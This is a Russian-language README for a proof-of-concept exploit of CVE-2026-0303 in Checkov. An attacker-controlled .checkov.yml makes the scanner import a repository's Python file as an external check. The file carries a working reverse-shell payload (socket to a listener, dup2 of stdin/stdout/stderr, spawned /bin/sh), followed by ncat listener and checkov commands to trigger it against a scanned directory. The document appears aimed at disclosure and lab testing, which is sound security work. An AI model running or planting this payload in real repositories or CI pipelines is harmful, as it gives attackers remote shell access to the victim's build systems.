
Checkov PoC: выполнение произвольного кода через автоматически загружаемую конфигурацию и неподписанные внешние проверки на Python.
CVE: CVE-2026-0303 | Базовая оценка CVSS: 6.3 | Уровень опасности: Низкий
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 — уязвимость произвольного выполнения кода в Checkov.
Опубликовано Palo Alto Networks 9 сентября 2026 г.
Затронутые версии: Checkov с 3.2.0 по 3.2.531
Исправленная версия: Checkov 3.2.532
Произвольное выполнение кода в Checkov через автоматически загружаемый файл .checkov.yml
-> выполнение контролируемого злоумышленником Python-кода через неподписанную внешнюю пользовательскую проверку.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov поддерживает внешние проверки на Python. Эти проверки намеренно загружаются как Python-модули, что означает выполнение инструкций Python верхнего уровня во время импорта модуля.
Когда Checkov сканирует каталог, он автоматически ищет в этом каталоге файл
конфигурации .checkov.yml или .checkov.yaml; контролируемый злоумышленником файл
конфигурации может задать external-checks-dir как каталог внутри сканируемого
репозитория.
Это создаёт следующую цепочку выполнения:
Жертва сканирует недоверенный репозиторий
->
Checkov автоматически загружает .checkov.yml
->
Конфигурация задаёт external-checks-dir
->
Checkov импортирует контролируемый злоумышленником Python-модуль
->
Код Python верхнего уровня выполняется с привилегиями Checkov
Злоумышленнику не нужно эксплуатировать парсер Terraform или предоставлять действительную политику Checkov. Выполнение кода происходит, когда Checkov импортирует файл Python.
Это особенно актуально для CI-конвейеров, которые автоматически запускают Checkov против pull request'ов или другого недоверенного содержимого репозитория.
Лабораторная полезная нагрузка устанавливает соединение из контейнера Checkov с прослушивателем на хосте:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Измените полезную нагрузку в exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Запустите прослушиватель на хосте:
ncat -lvkp 4444
Вызовите уязвимое поведение, просканировав контролируемый злоумышленником каталог:
checkov -d /workspace --framework terraform --skip-download
Checkov автоматически читает /workspace/.checkov.yml, обнаруживает каталог внешних
проверок и импортирует poc_check.py. Прослушиватель должен получить оболочку, когда
выполнится вызов exploit() на уровне модуля.
Я предоставил простую docker-лабораторию, которую можно настроить с помощью
docker compose up -d
и подключиться к её оболочке через
docker exec -it scan-server /bin/sh
Этот репозиторий содержит независимое доказательство концепции для CVE-2026-0303. Уязвимость была воссоздана и протестирована в изолированной лабораторной среде.
Этот проект предназначен исключительно для авторизованных исследований в области безопасности, обучения и тестирования в изолированных средах. Не используйте его против систем, сетей, репозиториев или данных без явного разрешения владельца.
Автор предоставляет этот проект как есть, без каких-либо гарантий, и не несёт ответственности за ущерб, потерю данных, нарушение работы сервисов, несанкционированный доступ или неправомерное использование этого программного обеспечения или его производных.